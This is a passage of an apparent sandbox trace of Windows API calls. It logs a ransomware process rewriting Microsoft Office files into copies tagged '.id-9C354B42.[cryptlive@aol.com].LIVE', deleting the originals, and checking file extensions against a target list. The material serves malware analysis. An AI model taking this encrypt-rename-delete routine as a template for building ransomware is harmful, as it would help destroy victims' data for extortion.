lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.952] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.952] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0143.953] GetLastError () returned 0x0 [0143.953] ReadFile (in: hFile=0x388, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xcb, lpOverlapped=0x0) returned 1 [0143.954] WriteFile (in: hFile=0x3a8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0143.955] ReadFile (in: hFile=0x388, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.955] WriteFile (in: hFile=0x3a8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xea, lpOverlapped=0x0) returned 1 [0143.955] SetEndOfFile (hFile=0x3a8) returned 1 [0143.955] CloseHandle (hObject=0x3a8) returned 1 [0143.955] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.955] SetEndOfFile (hFile=0x388) returned 1 [0143.958] CloseHandle (hObject=0x388) returned 1 [0143.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt")) returned 1 [0143.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0143.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0143.959] lstrlenW (lpString=".doc") returned 4 [0143.959] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0143.959] lstrlenW (lpString=".docx") returned 5 [0143.959] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0143.959] lstrlenW (lpString=".pdf") returned 4 [0143.959] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0143.959] lstrlenW (lpString=".xls") returned 4 [0143.959] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0143.959] lstrlenW (lpString=".xlsx") returned 5 [0143.959] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0143.959] lstrlenW (lpString=".ppt") returned 4 [0143.959] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0143.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0143.959] lstrlenW (lpString=".zip") returned 4 [0143.959] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0143.959] lstrlenW (lpString=".rar") returned 4 [0143.959] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0143.959] lstrlenW (lpString=".bz2") returned 4 [0143.959] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0143.959] lstrlenW (lpString=".7z") returned 3 [0143.959] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0143.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0143.959] lstrlenW (lpString=".dbf") returned 4 [0143.959] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0143.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0143.959] lstrlenW (lpString=".1cd") returned 4 [0143.959] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0143.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0143.959] lstrlenW (lpString=".jpg") returned 4 [0143.960] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0143.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0143.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0143.960] lstrlenW (lpString=".doc") returned 4 [0143.960] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0143.960] lstrlenW (lpString=".docx") returned 5 [0143.960] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0143.960] lstrlenW (lpString=".pdf") returned 4 [0143.960] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0143.960] lstrlenW (lpString=".xls") returned 4 [0143.960] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0143.960] lstrlenW (lpString=".xlsx") returned 5 [0143.960] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0143.960] lstrlenW (lpString=".ppt") returned 4 [0143.960] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0143.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0143.960] lstrlenW (lpString=".zip") returned 4 [0143.960] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0143.960] lstrlenW (lpString=".rar") returned 4 [0143.960] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0143.960] lstrlenW (lpString=".bz2") returned 4 [0143.960] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0143.960] lstrlenW (lpString=".7z") returned 3 [0143.960] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0143.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0143.960] lstrlenW (lpString=".dbf") returned 4 [0143.960] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0143.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0143.960] lstrlenW (lpString=".1cd") returned 4 [0143.960] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0143.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0143.960] lstrlenW (lpString=".jpg") returned 4 [0143.960] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0143.961] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0143.961] lstrlenW (lpString="OIS_F_COL.HXK") returned 13 [0143.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.961] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=114) returned 1 [0143.961] CloseHandle (hObject=0x388) returned 1 [0143.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk")) returned 0x20 [0143.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.962] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.962] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0143.962] GetLastError () returned 0x0 [0143.962] ReadFile (in: hFile=0x388, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x72, lpOverlapped=0x0) returned 1 [0143.963] WriteFile (in: hFile=0x3a8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x80, lpOverlapped=0x0) returned 1 [0143.964] ReadFile (in: hFile=0x388, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.964] WriteFile (in: hFile=0x3a8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xee, lpOverlapped=0x0) returned 1 [0143.964] SetEndOfFile (hFile=0x3a8) returned 1 [0143.964] CloseHandle (hObject=0x3a8) returned 1 [0143.964] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.964] SetEndOfFile (hFile=0x388) returned 1 [0143.967] CloseHandle (hObject=0x388) returned 1 [0143.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk")) returned 1 [0143.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0143.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0143.969] lstrlenW (lpString=".doc") returned 4 [0143.969] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0143.969] lstrlenW (lpString=".docx") returned 5 [0143.969] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0143.969] lstrlenW (lpString=".pdf") returned 4 [0143.969] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0143.969] lstrlenW (lpString=".xls") returned 4 [0143.969] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0143.969] lstrlenW (lpString=".xlsx") returned 5 [0143.969] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0143.969] lstrlenW (lpString=".ppt") returned 4 [0143.969] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0143.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0143.969] lstrlenW (lpString=".zip") returned 4 [0143.969] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0143.969] lstrlenW (lpString=".rar") returned 4 [0143.969] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0143.969] lstrlenW (lpString=".bz2") returned 4 [0143.969] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0143.969] lstrlenW (lpString=".7z") returned 3 [0143.969] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0143.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0143.970] lstrlenW (lpString=".dbf") returned 4 [0143.970] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0143.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0143.970] lstrlenW (lpString=".1cd") returned 4 [0143.970] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0143.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0143.970] lstrlenW (lpString=".jpg") returned 4 [0143.970] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0143.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0143.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0143.970] lstrlenW (lpString=".doc") returned 4 [0143.970] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0143.970] lstrlenW (lpString=".docx") returned 5 [0143.970] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0143.970] lstrlenW (lpString=".pdf") returned 4 [0143.970] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0143.970] lstrlenW (lpString=".xls") returned 4 [0143.970] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0143.970] lstrlenW (lpString=".xlsx") returned 5 [0143.970] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0143.970] lstrlenW (lpString=".ppt") returned 4 [0143.970] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0143.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0143.970] lstrlenW (lpString=".zip") returned 4 [0143.970] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0143.970] lstrlenW (lpString=".rar") returned 4 [0143.970] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0143.970] lstrlenW (lpString=".bz2") returned 4 [0143.970] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0143.970] lstrlenW (lpString=".7z") returned 3 [0143.970] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0143.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0143.970] lstrlenW (lpString=".dbf") returned 4 [0143.971] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0143.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0143.971] lstrlenW (lpString=".1cd") returned 4 [0143.971] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0143.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0143.971] lstrlenW (lpString=".jpg") returned 4 [0143.971] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0143.971] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0143.971] lstrlenW (lpString="OIS_K_COL.HXK") returned 13 [0143.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.971] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=113) returned 1 [0143.971] CloseHandle (hObject=0x388) returned 1 [0143.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk")) returned 0x20 [0143.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.972] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.972] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0143.972] GetLastError () returned 0x0 [0143.972] ReadFile (in: hFile=0x388, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x71, lpOverlapped=0x0) returned 1 [0143.973] WriteFile (in: hFile=0x3a8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x80, lpOverlapped=0x0) returned 1 [0143.974] ReadFile (in: hFile=0x388, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.974] WriteFile (in: hFile=0x3a8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xee, lpOverlapped=0x0) returned 1 [0143.974] SetEndOfFile (hFile=0x3a8) returned 1 [0143.975] CloseHandle (hObject=0x3a8) returned 1 [0143.975] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.975] SetEndOfFile (hFile=0x388) returned 1 [0143.977] CloseHandle (hObject=0x388) returned 1 [0143.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.977] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk")) returned 1 [0143.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0143.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0143.978] lstrlenW (lpString=".doc") returned 4 [0143.978] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0143.978] lstrlenW (lpString=".docx") returned 5 [0143.978] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0143.978] lstrlenW (lpString=".pdf") returned 4 [0143.978] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0143.978] lstrlenW (lpString=".xls") returned 4 [0143.978] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0143.978] lstrlenW (lpString=".xlsx") returned 5 [0143.978] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0143.978] lstrlenW (lpString=".ppt") returned 4 [0143.978] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0143.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0143.978] lstrlenW (lpString=".zip") returned 4 [0143.978] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0143.978] lstrlenW (lpString=".rar") returned 4 [0143.978] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0143.978] lstrlenW (lpString=".bz2") returned 4 [0143.978] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0143.978] lstrlenW (lpString=".7z") returned 3 [0143.979] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0143.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0143.979] lstrlenW (lpString=".dbf") returned 4 [0143.979] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0143.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0143.979] lstrlenW (lpString=".1cd") returned 4 [0143.979] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0143.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0143.979] lstrlenW (lpString=".jpg") returned 4 [0143.979] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0143.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0143.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0143.979] lstrlenW (lpString=".doc") returned 4 [0143.979] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0143.979] lstrlenW (lpString=".docx") returned 5 [0143.979] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0143.979] lstrlenW (lpString=".pdf") returned 4 [0143.979] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0143.979] lstrlenW (lpString=".xls") returned 4 [0143.979] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0143.979] lstrlenW (lpString=".xlsx") returned 5 [0143.979] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0143.979] lstrlenW (lpString=".ppt") returned 4 [0143.979] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0143.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0143.979] lstrlenW (lpString=".zip") returned 4 [0143.979] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0143.979] lstrlenW (lpString=".rar") returned 4 [0143.979] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0143.979] lstrlenW (lpString=".bz2") returned 4 [0143.979] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0143.979] lstrlenW (lpString=".7z") returned 3 [0143.979] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0143.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0143.979] lstrlenW (lpString=".dbf") returned 4 [0143.979] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0143.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0143.980] lstrlenW (lpString=".1cd") returned 4 [0143.980] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0143.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0143.980] lstrlenW (lpString=".jpg") returned 4 [0143.980] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0143.980] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0143.980] lstrlenW (lpString="OMSINTL.DLL") returned 11 [0143.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.981] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=401792) returned 1 [0143.981] CloseHandle (hObject=0x388) returned 1 [0143.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll")) returned 0x20 [0143.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0143.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0143.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0143.981] lstrlenW (lpString=".doc") returned 4 [0143.981] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0143.982] lstrlenW (lpString=".docx") returned 5 [0143.982] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0143.982] lstrlenW (lpString=".pdf") returned 4 [0143.982] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0143.982] lstrlenW (lpString=".xls") returned 4 [0143.982] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0143.982] lstrlenW (lpString=".xlsx") returned 5 [0143.982] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0143.982] lstrlenW (lpString=".ppt") returned 4 [0143.982] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0143.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0143.982] lstrlenW (lpString=".zip") returned 4 [0143.982] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0143.982] lstrlenW (lpString=".rar") returned 4 [0143.982] lstrcmpiW 